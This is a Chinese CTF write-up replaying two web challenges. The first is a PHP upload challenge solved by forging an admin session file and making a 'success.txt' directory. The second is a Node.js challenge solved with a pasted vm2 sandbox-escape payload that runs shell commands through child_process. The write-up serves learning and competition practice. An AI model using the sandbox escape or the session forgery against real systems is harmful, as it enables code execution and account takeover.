周末的比赛,因为学校和实习的一些内容耽误了,也没去细看,这里把WEB题目会做的复现一下
WEB
BabyUpload
3道WEB中唯一一道PHP的题目,题目给了源码
<?php
error_reporting(0);
session_save_path("/var/babyctf/");
session_start();
require_once "/flag";
highlight_file(__FILE__);
if($_SESSION['username'] ==='admin')
{
$filename='/var/babyctf/success.txt';
if(file_exists($filename)){
safe_delete($filename);
die($flag);
}
}
else{
$_SESSION['username'] ='guest';
}
$direction = filter_input(INPUT_POST, 'direction');
$attr = filter_input(INPUT_POST, 'attr');
$dir_path = "/var/babyctf/".$attr;
if($attr==="private"){
$dir_path .= "/".$_SESSION['username'];
}
if($direction === "upload"){
try{
if(!is_uploaded_file($_FILES['up_file']['tmp_name'])){
throw new RuntimeException('invalid upload');
}
$file_path = $dir_path."/".$_FILES['up_file']['name'];
$file_path .= "_".hash_file("sha256",$_FILES['up_file']['tmp_name']);
if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
throw new RuntimeException('invalid file path');
}
@mkdir($dir_path, 0700, TRUE);
if(move_uploaded_file($_FILES['up_file']['tmp_name'],$file_path)){
$upload_result = "uploaded";
}else{
throw new RuntimeException('error while saving');
}
} catch (RuntimeException $e) {
$upload_result = $e->getMessage();
}
} elseif ($direction === "download") {
try{
$filename = basename(filter_input(INPUT_POST, 'filename'));
$file_path = $dir_path."/".$filename;
if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
throw new RuntimeException('invalid file path');
}
if(!file_exists($file_path)) {
throw new RuntimeException('file not exist');
}
header('Content-Type: application/force-download');
header('Content-Length: '.filesize($file_path));
header('Content-Disposition: attachment; filename="'.substr($filename, 0, -65).'"');
if(readfile($file_path)){
$download_result = "downloaded";
}else{
throw new RuntimeException('error while saving');
}
} catch (RuntimeException $e) {
$download_result = $e->getMessage();
}
exit;
}
?>
首先看一下获取flag的条件,题目在一开头就给我们指出了
需要我们在SESSION中的username为admin,且在指定的文件夹下存在success.txt
下一步我们看一下题目我们可控的参数,这里的传输使用了filter_input函数,我们可以使用POST传输这些参数
首先分析一下direction参数,当传输为upload的时候,我们可以上传文件,根据file_path可以看出,我们上传的文件名是根据文件的摘要值进行sha256加密后存放在指定目录下,默认目录为/var/babyctf/,如果 attr 为 private 则把用户名继续拼接在目录的后面。同时我们上传的地址即为session文件默认存放地址,所以分析到此处,我们可以构造获取flag的思路,先通过上传伪造session文件,把我们的用户更改为admin,然后在指定目录下生成success.txt文件,即可获取flag。
先进行第一步,获取admin用户,先测试一下文件的下载功能,下载一下当前用户的session文件,session存储的文件形式为sess_PHPSESSID,
可以看到我们的用户身份为guest,下一步我们在本地生成一个admin用户的session文件,这个方法学习了赵总的WP,不愧是NSB-CEO。
我们可以通过session文件存储形式来判断服务器生成session文件的处理器为php_binary
,然后在本地构造代码
<?php
ini_set('session.serialize_handler', 'php_binary');
session_save_path("./");
session_start();
$_SESSION['username'] = 'admin';
我为了方便找,就直接生成在当前目录下了,先修改一下名称为sess,然后再使用PHP代码生成文件的摘要值
然后上传我们构造的文件,使用up_file参数,这里就用POSTMAN了,比Burp方便一点
尝试读取一下我们上传的文件,文件名为sess_(文件的摘要值sha256),就是我们刚才生成的,构造读取
成功构造了admin用户的session文件,然后更新用户PHPSESSID为文件的sha256,即可获取到admin用户的权限,不过再这之前我们要构造在指定目录下生成success.txt,此时可以发现,检测当前目录下是否存在success.txt的函数为file_exists(),查看一下该函数特性
是同时检测文件和目录,那我们可以通过attr的参数生成一个success.txt的目录,同样可以绕过检测,尝试构造
之后替换cookie
成功获取flag,也就唯一一个能做的web了,剩下的js题目,边学习边做
JustEscape
拿到页面
给了一个run.php,不过经过测试的时候完全不是php,就想看看是不是python伪造的
不过再去尝试别的payload就没有正常回显了,然后看赵总的wp说是一个一个尝试,最后试出来是nodejs,学习了
这块后面的绕过就比较晦涩了,等学习node之后再写一遍比较详细的分析文章,这里直接用github上的exp了,绕过用数组,直接打过去
https://github.com/patriksimek/vm2/issues/225
try{
Buffer.from(new Proxy({}, {
getOwnPropertyDescriptor(){
throw f=>f.constructor("return process")();
}
}));
}catch(e){
e(()=>{}).mainModule.require("child_process").execSync("cat /flag").toString();
}
获取一下flag
剩下的那道等一周后再做,这周把node的东西学习一下,开发不行的CTFer就是弟弟。